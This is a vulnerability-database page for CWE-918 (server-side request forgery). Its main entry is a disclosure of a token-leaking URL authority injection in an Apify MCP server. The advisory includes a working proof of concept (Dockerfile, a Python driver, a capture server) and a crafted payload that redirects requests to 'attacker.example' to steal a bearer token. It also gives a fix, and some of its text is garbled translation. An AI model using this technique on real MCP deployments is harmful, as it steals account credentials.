Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4797 vulnerabilities reference this CWE, most recent first.

GHSA-6GJR-G247-WX36

Vulnerability from github – Published: 2025-01-31 09:31 – Updated: 2026-04-01 18:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in NotFound Oshine Modules. This issue affects Oshine Modules: from n/a through n/a.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-44055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-31T09:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in NotFound Oshine Modules. This issue affects Oshine Modules: from n/a through n/a.",
  "id": "GHSA-6gjr-g247-wx36",
  "modified": "2026-04-01T18:33:30Z",
  "published": "2025-01-31T09:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44055"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/oshine-modules/vulnerability/wordpress-oshine-modules-plugin-3-3-6-unauthenticated-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6GR2-QH89-HXWM

Vulnerability from github – Published: 2026-07-01 22:02 – Updated: 2026-07-01 22:02
VLAI
Summary
Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token
Details

Actor MCP path authority injection leaks Apify token

Summary

@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).

Details

getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:

// src/mcp/actors.ts:44
return `${standbyUrl}${mcpServerPath}`;

mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:

  • begin with a / (relative path),
  • avoid an @ character (userinfo/authority injection), or
  • resolve to the same origin as standbyUrl.

When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:

https://real-actor-id.apify.actor@attacker.example/mcp

Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.

The constructed URL is forwarded to connectMCPClient() through three independent code paths:

Call site Trigger
src/tools/core/call_actor_common.ts:317 call-actor MCP tool
src/utils/actor_details.ts:155 fetch-actor-details MCP tool
src/mcp/server.ts:1047 actor-mcp type tool loading

connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:

// src/mcp/client.ts:94  — SSEClientTransport requestInit
authorization: `Bearer ${token}`,

// src/mcp/client.ts:103 — SSE fetch callback
headers.set('authorization', `Bearer ${token}`);

// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
authorization: `Bearer ${token}`,

There is no origin check anywhere between URL construction and the outbound HTTP request.

Full data-flow chain:

  1. src/mcp/server.ts:811 — MCP tools/call request parameters are read.
  2. src/mcp/server.ts:816 — apifyToken is resolved from _meta.apifyToken, server options, or process.env.APIFY_TOKEN.
  3. src/tools/core/call_actor_common.ts:489-497 — attacker-controlled actor identifier is resolved via getActorMcpUrlCached().
  4. src/utils/actor.ts:24-28 — Actor definition is fetched from the Apify API; webServerMcpPath is passed to getActorMCPServerURL().
  5. src/mcp/actors.ts:14-20 — webServerMcpPath is trimmed and split; first element is returned without path validation.
  6. src/mcp/actors.ts:44 — standbyUrl + mcpServerPath produces an authority-injected URL.
  7. connectMCPClient() is called with the injected URL and the victim's token.
  8. src/mcp/client.ts:94/103/124 — Authorization: Bearer <APIFY_TOKEN> is sent to the attacker's host.

PoC

Environment requirements:

  • Docker (network-isolated container; no external network access needed)
  • The repository at commit 4e2b185 checked out under the build context

Build and run:

# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
  -f vuln-001/Dockerfile \
  /path/to/mcp_38_apify__actors-mcp-server

# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc

The Dockerfile: 1. Generates a self-signed TLS certificate for 127.0.0.1 (IP SAN required for Node.js TLS validation). 2. Installs @apify/actors-mcp-server@0.10.7 dependencies under pnpm. 3. Sets NODE_EXTRA_CA_CERTS so Node.js trusts the self-signed CA. 4. Runs exploit.mjs, which: - Starts an HTTPS capture server on 127.0.0.1:31337. - Constructs a webServerMcpPath of @127.0.0.1:31337/mcp. - Calls getActorMCPServerURL() directly, producing https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp. - Calls connectMCPClient() with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345). - Asserts that the capture server received Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.

Observed output (Phase 2 evidence):

  parsed.hostname        : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker HTTPS server received request ===
  Authorization     : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
=== RESULT: EXPLOIT SUCCESSFUL ===
[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337

Alternative MCP request path (real-world scenario):

A victim running @apify/actors-mcp-server connected to an MCP host sends the following request, where attacker/malicious-mcp is an Actor published with webServerMcpPath = "@attacker.example/mcp":

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "fetch-actor-details",
    "arguments": {
      "actor": "attacker/malicious-mcp",
      "output": { "mcpTools": true }
    },
    "_meta": { "mcpSessionId": "poc-session" }
  }
}

The attacker's server at attacker.example receives:

Authorization: Bearer apify_api_victim_token

URL parser primitive (Node.js REPL verification):

node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1  ABC.apify.actor

Recommended fix:

--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
 export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
     const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
-    return `${standbyUrl}${mcpServerPath}`;
+    const url = new URL(mcpServerPath, `${standbyUrl}/`);
+    if (url.origin !== standbyUrl) {
+        throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+    }
+    url.username = '';
+    url.password = '';
+    return url.toString();
 }

Impact

Any user of @apify/actors-mcp-server who:

  1. has an Apify API token configured (via APIFY_TOKEN, server options, or _meta.apifyToken), and
  2. is induced to invoke call-actor, fetch-actor-details, or any actor-mcp type tool against an attacker-controlled Actor,

will have their Apify API token silently exfiltrated to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.

This is a Server-Side Request Forgery (SSRF) / URL authority injection vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.

Reproduction artifacts

Dockerfile

FROM node:24-slim

# ─── system packages ───────────────────────────────────────────────────────────
RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
 && rm -rf /var/lib/apt/lists/*

# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
RUN mkdir /certs && \
 openssl req -x509 -newkey rsa:2048 \
 -keyout /certs/key.pem -out /certs/cert.pem \
 -days 1 -nodes \
 -subj '/CN=127.0.0.1' \
 -addext 'subjectAltName=IP:127.0.0.1' \
 2>/dev/null

# ─── vulnerable package ────────────────────────────────────────────────────────
WORKDIR /app
COPY repo/ ./

# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.
RUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null

# Install only production deps — build output not needed; exploit imports from source via tsx.
# --frozen-lockfile validates the lockfile is up-to-date with package.json.
RUN pnpm install --frozen-lockfile

# ─── exploit files ─────────────────────────────────────────────────────────────
COPY vuln-001/exploit.mjs /exploit.mjs

# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.
ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem

CMD ["node", "/exploit.mjs"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 dynamic PoC driver.

Builds the Docker image, runs the exploit container, collects observable evidence,
and writes phase2_result.json with the outcome.
"""
import json
import os
import subprocess
import sys
import textwrap

# ─── paths ────────────────────────────────────────────────────────────────────
THIS_DIR    = os.path.dirname(os.path.abspath(__file__))          # vuln-001/
CONTEXT_DIR = os.path.dirname(THIS_DIR)                           # mcp_38_apify__actors-mcp-server/
DOCKERFILE  = os.path.join(THIS_DIR, 'Dockerfile')
RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
IMAGE_TAG   = 'vuln-001-poc'

BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
RUN_CMD   = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]


def run(cmd, *, timeout, **kwargs):
    return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)


def write_result(payload: dict):
    with open(RESULT_PATH, 'w') as f:
        json.dump(payload, f, indent=2, ensure_ascii=False)
    print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')


def main():
    print('=' * 70)
    print('VULN-001 dynamic reproduction — Actor MCP path authority injection')
    print('=' * 70)

    # ── 1. Docker build ───────────────────────────────────────────────────────
    print(f'\n[1/2] building Docker image...')
    print(f'      command: {" ".join(BUILD_CMD)}')
    build = run(BUILD_CMD, timeout=600)
    if build.returncode != 0:
        msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
        print('[!] build failed:\n', msg)
        write_result({
            'passed': False,
            'verdict': 'FAIL',
            'reason': f'Docker build failed. error: {msg[:500]}',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 {os.path.relpath(__file__)}',
            'evidence': msg[:1000],
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)
    print('[+] build succeeded')

    # ── 2. Docker run ─────────────────────────────────────────────────────────
    print(f'\n[2/2] text while running the container...')
    print(f'      command: {" ".join(RUN_CMD)}')
    try:
        run_result = run(RUN_CMD, timeout=120)
    except subprocess.TimeoutExpired:
        write_result({
            'passed': False,
            'verdict': 'INCOMPLETE',
            'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 {os.path.relpath(__file__)}',
            'evidence': 'timeout',
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)

    stdout = run_result.stdout
    stderr = run_result.stderr
    print('\n--- container stdout ---')
    print(stdout)
    if stderr:
        print('--- container stderr (text 1000characters) ---')
        print(stderr[:1000])

    # ── 3. result verdict ──────────────────────────────────────────────────────────
    passed = (
        run_result.returncode == 0
        and 'attacker HTTPS server received request' in stdout
        and 'EXPLOIT SUCCESSFUL' in stdout
        and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
    )

    # Build evidence excerpt (key lines only)
    evidence_lines = [l for l in stdout.splitlines()
                      if any(k in l for k in ['PASS', 'PROOF', 'received request',
                                               'EXPLOIT', 'parsed.hostname', 'Authorization'])]
    evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]

    if passed:
        print('\n[✓] PASS — token leak vulnerability dynamic reproduction success')
        write_result({
            'passed': True,
            'verdict': 'PASS',
            'reason': (
                'Docker container withintext vulnerabilitytext fully reproductiondone. '
                'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
                '`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
                '`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '
                'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
                'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
            ),
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 poc.py',
            'evidence': evidence,
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
    else:
        reason_detail = ''
        if run_result.returncode != 0:
            reason_detail = f'container exit code {run_result.returncode}. '
        if 'TOKEN_CAPTURED' not in stdout:
            reason_detail += 'attacker serverfrom token capture text textnot not. '
        if 'EXPLOIT SUCCESSFUL' not in stdout:
            reason_detail += 'final success message none. '

        print(f'\n[✗] FAIL — {reason_detail}')
        write_result({
            'passed': False,
            'verdict': 'FAIL',
            'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 poc.py',
            'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)


if __name__ == '__main__':
    main()
Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apify/actors-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T22:02:15Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Actor MCP path authority injection leaks Apify token\n\n### Summary\n\n`@apify/actors-mcp-server` version `0.10.7` builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled `webServerMcpPath` value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted `webServerMcpPath` (e.g., `@attacker.example/mcp`) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim\u0027s `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` header to every outbound connection, the victim\u0027s Apify API token is exfiltrated to the attacker\u0027s server. CVSS Base Score: **8.1 (High)**.\n\n### Details\n\n`getActorMCPServerURL()` in `src/mcp/actors.ts:44` constructs the Actor standby MCP URL by naive string concatenation:\n\n```ts\n// src/mcp/actors.ts:44\nreturn `${standbyUrl}${mcpServerPath}`;\n```\n\n`mcpServerPath` originates from the `webServerMcpPath` field of an Actor definition fetched from the Apify API (`src/utils/actor.ts:24-28`). The field is trimmed and comma-split in `getActorMCPServerPath()` (`src/mcp/actors.ts:14-20`) but is never validated to:\n\n- begin with a `/` (relative path),\n- avoid an `@` character (userinfo/authority injection), or\n- resolve to the same origin as `standbyUrl`.\n\nWhen `webServerMcpPath` is set to `@attacker.example/mcp`, the concatenated result becomes:\n\n```\nhttps://real-actor-id.apify.actor@attacker.example/mcp\n```\n\nNode.js\u0027s WHATWG URL parser treats everything before `@` as userinfo and extracts `attacker.example` as the hostname. This is not an edge-case browser behavior \u2014 it is specified by RFC 3986 and the WHATWG URL standard.\n\nThe constructed URL is forwarded to `connectMCPClient()` through three independent code paths:\n\n| Call site | Trigger |\n|---|---|\n| `src/tools/core/call_actor_common.ts:317` | `call-actor` MCP tool |\n| `src/utils/actor_details.ts:155` | `fetch-actor-details` MCP tool |\n| `src/mcp/server.ts:1047` | actor-mcp type tool loading |\n\n`connectMCPClient()` (`src/mcp/client.ts`) attaches the victim\u0027s Apify token as a bearer credential to every transport type:\n\n```ts\n// src/mcp/client.ts:94  \u2014 SSEClientTransport requestInit\nauthorization: `Bearer ${token}`,\n\n// src/mcp/client.ts:103 \u2014 SSE fetch callback\nheaders.set(\u0027authorization\u0027, `Bearer ${token}`);\n\n// src/mcp/client.ts:124 \u2014 StreamableHTTPClientTransport requestInit\nauthorization: `Bearer ${token}`,\n```\n\nThere is no origin check anywhere between URL construction and the outbound HTTP request.\n\n**Full data-flow chain:**\n\n1. `src/mcp/server.ts:811` \u2014 MCP `tools/call` request parameters are read.\n2. `src/mcp/server.ts:816` \u2014 `apifyToken` is resolved from `_meta.apifyToken`, server options, or `process.env.APIFY_TOKEN`.\n3. `src/tools/core/call_actor_common.ts:489-497` \u2014 attacker-controlled `actor` identifier is resolved via `getActorMcpUrlCached()`.\n4. `src/utils/actor.ts:24-28` \u2014 Actor definition is fetched from the Apify API; `webServerMcpPath` is passed to `getActorMCPServerURL()`.\n5. `src/mcp/actors.ts:14-20` \u2014 `webServerMcpPath` is trimmed and split; first element is returned without path validation.\n6. `src/mcp/actors.ts:44` \u2014 `standbyUrl + mcpServerPath` produces an authority-injected URL.\n7. `connectMCPClient()` is called with the injected URL and the victim\u0027s token.\n8. `src/mcp/client.ts:94/103/124` \u2014 `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` is sent to the attacker\u0027s host.\n\n### PoC\n\n**Environment requirements:**\n\n- Docker (network-isolated container; no external network access needed)\n- The repository at commit `4e2b185` checked out under the build context\n\n**Build and run:**\n\n```bash\n# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)\ndocker build -t vuln-001-poc \\\n  -f vuln-001/Dockerfile \\\n  /path/to/mcp_38_apify__actors-mcp-server\n\n# Run the exploit (--network none: fully air-gapped)\ndocker run --rm --network none vuln-001-poc\n```\n\nThe Dockerfile:\n1. Generates a self-signed TLS certificate for `127.0.0.1` (IP SAN required for Node.js TLS validation).\n2. Installs `@apify/actors-mcp-server@0.10.7` dependencies under `pnpm`.\n3. Sets `NODE_EXTRA_CA_CERTS` so Node.js trusts the self-signed CA.\n4. Runs `exploit.mjs`, which:\n   - Starts an HTTPS capture server on `127.0.0.1:31337`.\n   - Constructs a `webServerMcpPath` of `@127.0.0.1:31337/mcp`.\n   - Calls `getActorMCPServerURL()` directly, producing `https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp`.\n   - Calls `connectMCPClient()` with a simulated victim token (`apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`).\n   - Asserts that the capture server received `Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`.\n\n**Observed output (Phase 2 evidence):**\n\n```\n  parsed.hostname        : 127.0.0.1\n[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337\n=== STEP 2: attacker HTTPS server received request ===\n  Authorization     : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\n=== RESULT: EXPLOIT SUCCESSFUL ===\n[PROOF] Victim token \"Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\" arrived at attacker server 127.0.0.1:31337\n```\n\n**Alternative MCP request path (real-world scenario):**\n\nA victim running `@apify/actors-mcp-server` connected to an MCP host sends the following request, where `attacker/malicious-mcp` is an Actor published with `webServerMcpPath = \"@attacker.example/mcp\"`:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"fetch-actor-details\",\n    \"arguments\": {\n      \"actor\": \"attacker/malicious-mcp\",\n      \"output\": { \"mcpTools\": true }\n    },\n    \"_meta\": { \"mcpSessionId\": \"poc-session\" }\n  }\n}\n```\n\nThe attacker\u0027s server at `attacker.example` receives:\n\n```\nAuthorization: Bearer apify_api_victim_token\n```\n\n**URL parser primitive (Node.js REPL verification):**\n\n```\nnode -e \"const u=new URL(\u0027https://ABC.apify.actor@127.0.0.1:31337/mcp\u0027); console.log(u.hostname, u.username)\"\n# Output: 127.0.0.1  ABC.apify.actor\n```\n\n**Recommended fix:**\n\n```diff\n--- a/src/mcp/actors.ts\n+++ b/src/mcp/actors.ts\n export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise\u003cstring\u003e {\n     const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);\n-    return `${standbyUrl}${mcpServerPath}`;\n+    const url = new URL(mcpServerPath, `${standbyUrl}/`);\n+    if (url.origin !== standbyUrl) {\n+        throw new Error(\u0027Actor MCP server path must resolve under the Actor standby URL\u0027);\n+    }\n+    url.username = \u0027\u0027;\n+    url.password = \u0027\u0027;\n+    return url.toString();\n }\n```\n\n### Impact\n\nAny user of `@apify/actors-mcp-server` who:\n\n1. has an Apify API token configured (via `APIFY_TOKEN`, server options, or `_meta.apifyToken`), and\n2. is induced to invoke `call-actor`, `fetch-actor-details`, or any actor-mcp type tool against an attacker-controlled Actor,\n\nwill have their **Apify API token silently exfiltrated** to the attacker\u0027s server. The Apify API token grants full access to the victim\u0027s Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim\u0027s side and no code execution on the victim\u0027s machine \u2014 only a crafted Actor definition on the Apify platform.\n\nThis is a **Server-Side Request Forgery (SSRF) / URL authority injection** vulnerability. The attacker redirects the MCP client\u0027s outbound connection to an arbitrary host while the client continues to send the victim\u0027s credential.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:24-slim\n\n# \u2500\u2500\u2500 system packages \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends openssl python3 \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# \u2500\u2500\u2500 self-signed TLS cert for the attacker capture server (127.0.0.1) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.\nRUN mkdir /certs \u0026\u0026 \\\n openssl req -x509 -newkey rsa:2048 \\\n -keyout /certs/key.pem -out /certs/cert.pem \\\n -days 1 -nodes \\\n -subj \u0027/CN=127.0.0.1\u0027 \\\n -addext \u0027subjectAltName=IP:127.0.0.1\u0027 \\\n 2\u003e/dev/null\n\n# \u2500\u2500\u2500 vulnerable package \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /app\nCOPY repo/ ./\n\n# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.\nRUN npm install -g pnpm@11.1.3 --quiet 2\u003e/dev/null\n\n# Install only production deps \u2014 build output not needed; exploit imports from source via tsx.\n# --frozen-lockfile validates the lockfile is up-to-date with package.json.\nRUN pnpm install --frozen-lockfile\n\n# \u2500\u2500\u2500 exploit files \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCOPY vuln-001/exploit.mjs /exploit.mjs\n\n# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.\nENV NODE_EXTRA_CA_CERTS=/certs/cert.pem\n\nCMD [\"node\", \"/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 dynamic PoC driver.\n\nBuilds the Docker image, runs the exploit container, collects observable evidence,\nand writes phase2_result.json with the outcome.\n\"\"\"\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\n\n# \u2500\u2500\u2500 paths \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTHIS_DIR    = os.path.dirname(os.path.abspath(__file__))          # vuln-001/\nCONTEXT_DIR = os.path.dirname(THIS_DIR)                           # mcp_38_apify__actors-mcp-server/\nDOCKERFILE  = os.path.join(THIS_DIR, \u0027Dockerfile\u0027)\nRESULT_PATH = os.path.join(THIS_DIR, \u0027phase2_result.json\u0027)\nIMAGE_TAG   = \u0027vuln-001-poc\u0027\n\nBUILD_CMD = [\u0027docker\u0027, \u0027build\u0027, \u0027-t\u0027, IMAGE_TAG, \u0027-f\u0027, DOCKERFILE, CONTEXT_DIR]\nRUN_CMD   = [\u0027docker\u0027, \u0027run\u0027, \u0027--rm\u0027, \u0027--network\u0027, \u0027none\u0027, IMAGE_TAG]\n\n\ndef run(cmd, *, timeout, **kwargs):\n    return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)\n\n\ndef write_result(payload: dict):\n    with open(RESULT_PATH, \u0027w\u0027) as f:\n        json.dump(payload, f, indent=2, ensure_ascii=False)\n    print(f\u0027\\n[*] phase2_result.json write complete: {RESULT_PATH}\u0027)\n\n\ndef main():\n    print(\u0027=\u0027 * 70)\n    print(\u0027VULN-001 dynamic reproduction \u2014 Actor MCP path authority injection\u0027)\n    print(\u0027=\u0027 * 70)\n\n    # \u2500\u2500 1. Docker build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(f\u0027\\n[1/2] building Docker image...\u0027)\n    print(f\u0027      command: {\" \".join(BUILD_CMD)}\u0027)\n    build = run(BUILD_CMD, timeout=600)\n    if build.returncode != 0:\n        msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]\n        print(\u0027[!] build failed:\\n\u0027, msg)\n        write_result({\n            \u0027passed\u0027: False,\n            \u0027verdict\u0027: \u0027FAIL\u0027,\n            \u0027reason\u0027: f\u0027Docker build failed. error: {msg[:500]}\u0027,\n            \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n            \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n            \u0027poc_command\u0027: f\u0027python3 {os.path.relpath(__file__)}\u0027,\n            \u0027evidence\u0027: msg[:1000],\n            \u0027artifacts\u0027: [\u0027Dockerfile\u0027, \u0027exploit.mjs\u0027, \u0027poc.py\u0027],\n        })\n        sys.exit(1)\n    print(\u0027[+] build succeeded\u0027)\n\n    # \u2500\u2500 2. Docker run \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(f\u0027\\n[2/2] text while running the container...\u0027)\n    print(f\u0027      command: {\" \".join(RUN_CMD)}\u0027)\n    try:\n        run_result = run(RUN_CMD, timeout=120)\n    except subprocess.TimeoutExpired:\n        write_result({\n            \u0027passed\u0027: False,\n            \u0027verdict\u0027: \u0027INCOMPLETE\u0027,\n            \u0027reason\u0027: \u0027container execution 120seconds timeout. text text or TLS handshake issuetext can exists.\u0027,\n            \u0027build_command\u0027: \u0027 \u0027.join(BUILD_CMD),\n            \u0027run_command\u0027: \u0027 \u0027.join(RUN_CMD),\n            \u0027poc_command\u0027: 